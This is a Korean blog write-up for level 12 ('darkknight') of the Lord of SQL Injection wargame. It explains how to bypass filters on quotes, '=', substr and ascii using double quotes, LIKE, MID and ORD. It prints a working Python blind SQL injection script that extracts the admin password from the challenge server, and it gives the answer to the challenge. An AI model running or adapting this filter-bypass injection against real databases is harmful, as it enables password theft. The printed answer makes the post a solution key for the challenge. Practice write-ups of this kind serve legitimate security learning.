[Lord of SQL Injection] darkknight 12번 풀이
[ 문제 접근 ]
1. if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); , if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
1번에 2구문을 통해서 싱글쿼터, substr,ascii, = 을 모두 필터링하고 있다
2. if(($result['pw']) && ($result['pw'] == $_GET['pw']))
쿼리질의 결과 admin의 pw와 사용자가 입력한 pw가 같을 경우 solve시켜줌, 즉 blind sqlinjection 사용을 유추
=>방법 : 단순하게 1번에서 필터링하는 모든 것을 우회해서 기존과 같이 blind sqlinjection을 하면 구할 수 있다!
*힌트 : ord, like, mid
https://devdori.tistory.com/35 : 위 힌트는 이전 글에서 사용되었습니다!
[ 문제풀이 ]
더보기
<정답> : ?pw=0b70ea1f
<풀이>
싱글쿼터 > 더블쿼터, = >like, substr > MID , ascii > ord 로 우회하면 필터링을 피할 수 있다.
위 우회기법을 기존 코드에 적용시키면 다음과 같이 된다.
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies = {'PHPSESSID':'uoaqqo49al5a3l6baodafl6edv'}
length=0
pw = ""
while True:
length+=1
req = f"{url}?no=1||length(pw)%09in({length})"
res = requests.get(req,cookies=cookies)
if res.text.find("<h2>Hello admin</h2><code>") != -1:
print("pw 길이 :",length)
break
for i in range(1,length+1):
for j in range(48,123):
req = f"{url}?no=1||id like \"admin\" and ord(MID(pw,{i},1)) like {j}"
res = requests.get(req,cookies=cookies)
print(chr(j))
if res.text.find("<h2>Hello admin</h2><code>") != -1:
print(f"====={chr(j)}=====")
pw+=chr(j)
break
print(f"====(pw : {pw})====")
"DARKKNIGHT Clear!" 가 나타났다! 정답!
이제 다음 스테이지로 넘어가도록 하자
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] giant 14번 풀이 (0) | 2021.10.17 |
---|---|
[Lord of SQL Injection] bugbear 13번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] golem 11번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] skeleton 10번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] vampire 9번 풀이 (0) | 2021.10.17 |
댓글
이 글 공유하기
다른 글
-
[Lord of SQL Injection] giant 14번 풀이
[Lord of SQL Injection] giant 14번 풀이
2021.10.17 -
[Lord of SQL Injection] bugbear 13번 풀이
[Lord of SQL Injection] bugbear 13번 풀이
2021.10.17 -
[Lord of SQL Injection] golem 11번 풀이
[Lord of SQL Injection] golem 11번 풀이
2021.10.17 -
[Lord of SQL Injection] skeleton 10번 풀이
[Lord of SQL Injection] skeleton 10번 풀이
2021.10.17